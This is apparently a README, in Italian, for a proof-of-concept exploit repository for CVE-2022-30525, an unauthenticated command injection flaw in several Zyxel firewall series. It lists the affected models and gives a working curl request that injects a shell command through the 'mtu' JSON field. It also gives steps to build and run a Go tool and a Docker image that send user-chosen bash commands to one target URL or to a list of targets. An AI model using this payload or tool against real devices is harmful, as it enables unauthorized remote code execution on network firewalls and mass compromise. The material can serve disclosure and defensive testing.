iveresk/cve-2022-30525Exploit proof-of-concept per CVE-2022-30525 che consente l'iniezione remota di comandi non autenticata su firewall Zyxel tramite richieste HTTP POST all'endpoint /ztp/cgi-bin/handler.
Rapid7 ha scoperto e segnalato una vulnerabilità che interessa i firewall Zyxel che supportano lo Zero Touch Provisioning (ZTP), tra cui la serie ATP, la serie VPN e la serie USG FLEX (incluse USG20-VPN e USG20W-VPN). La vulnerabilità, identificata come CVE-2022-30525, consente a un attaccante remoto non autenticato di ottenere l'esecuzione di codice arbitrario come utente nobody sul dispositivo interessato.
La tabella seguente contiene i modelli interessati e le versioni del firmware.
Modello interessato USG FLEX 100, 100W, 200, 500, 700 da ZLD5.00 a ZLD5.21 Patch 1 USG20-VPN, USG20W-VPN da ZLD5.10 a ZLD5.21 Patch 1 ATP 100, 200, 500, 700, 800 da ZLD5.10 a ZLD5.21 Patch 1 La serie VPN, che supporta anch'essa ZTP, non è vulnerabile perché non supporta la funzionalità richiesta.
I modelli interessati sono vulnerabili a un'iniezione di comandi remota e non autenticata tramite l'interfaccia HTTP amministrativa. I comandi vengono eseguiti come utente nobody. Questa vulnerabilità viene sfruttata tramite l'URI /ztp/cgi-bin/handler.
curl -v --insecure -X POST -H "Content-Type: application/json" -d
'{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged"
:"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"}'
https://192.168.1.1/ztp/cgi-bin/handler
Dovrebbe essere creato un file cmds in cui puoi aggiungere i comandi da eseguire tramite il programma nel formato seguente:
bash -c "command#1 && command#2 && etc."
For example:
bash -c "ping 8.8.8.8"
Golang
1. git clone https://github.com/iveresk/cve-2022-30525.git
2. cd cve-2022-30525
3. go build cve-2022-30525.go -o /cve-2022-30525
4. chmod +x cve-2022-30525
5. ./cve-2022-30525 -t <targetURL> [or <targetFile>]
Dockerfile
docker run -it -e INPUT_FILE=<file_name> masterrooot/cve-30525
Dove INPUT_FILE è un URL di destinazione o un file con l'elenco dei target.
Sei libero di contattarmi tramite Keybase per qualsiasi dettaglio.